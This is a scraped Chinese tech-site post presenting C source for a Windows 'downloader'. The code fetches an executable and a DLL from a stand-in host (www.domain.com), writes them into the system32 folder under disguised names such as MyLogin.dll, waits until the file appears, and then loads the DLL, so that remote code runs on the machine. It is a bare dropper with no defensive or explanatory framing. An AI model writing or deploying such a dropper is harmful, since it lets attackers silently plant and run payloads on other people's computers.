读书人

windows8上的上载器(代码)

发布时间: 2013-02-24 17:58:56 作者: rapoo

windows8下的下载器(代码)

    bool FileIsExist(LPCTSTR szFileFullPathName) {
  1. WIN32_FIND_DATA Win32_Find_Data; HANDLE hFindFile;
  2. hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data);
  3. if(INVALID_HANDLE_VALUE == hFindFile)
  4. { //AfxMessageBox("Not Exist");
  5. return false; }
  6. else {
  7. //AfxMessageBox("Have Exist"); FindClose(hFindFile);
  8. return true; }
  9. }
  10. int main(int argc, char* argv[]) {
  11. char DownURL[255] = "http://www.domain.com/test.dll"; char DownLoadDir[255];
  12. char ExeURL[255] = "http://www.domain.com/test.exe";
  13. char ExeDir[255];
  14. GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir)); GetWindowsDirectory(ExeDir,sizeof(ExeDir));
  15. strcat(DownLoadDir,"\\system32\\DLLtest.dll"); strcat(ExeDir,"\\system32\\MyLogin.dll");
  16. URLDownloadToFile(0,ExeURL,ExeDir,0,NULL);
  17. Sleep(3000);
  18. URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL);
  19. while(true) {
  20. if(FileIsExist(DownLoadDir) == true) break;
  21. else Sleep(1000);
  22. } Sleep(3000);
  23. LoadLibrary(DownLoadDir); Sleep(10000);
  24. return 0; }

读书人网 >windows

热点推荐